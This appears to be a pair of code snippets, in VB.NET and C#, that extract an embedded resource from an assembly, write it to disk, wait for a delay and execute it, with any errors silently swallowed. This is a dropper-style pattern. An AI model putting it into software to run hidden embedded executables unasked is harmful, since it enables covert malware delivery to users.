VB.NET 
        Try
            Using stream As Stream = ThisAssembly.GetManifestResourceStream(resourceName)

                Using reader As StreamReader = New StreamReader(stream)
                    Dim bytes As Byte() = New Byte(CInt(stream.Length) - 1) {}
                    stream.Read(bytes, 0, bytes.Length)
                    File.WriteAllBytes(path & resourceName, bytes)
                    Thread.Sleep(milliseconds)
                    System.Diagnostics.Process.Start(path & resourceName)
                End Using
            End Using
        Catch
        End Try



C#


try
            {

                using (Stream stream = assembly.GetManifestResourceStream(resourceName))
                using (StreamReader reader = new StreamReader(stream))
                {

                    byte[] bytes = new byte[(int)stream.Length];
                    stream.Read(bytes, 0, bytes.Length);
                    File.WriteAllBytes(path + resourceName, bytes);
                    Thread.Sleep(milliseconds);
                    System.Diagnostics.Process.Start(path + resourceName);

                
                }


            }
            catch {}
            {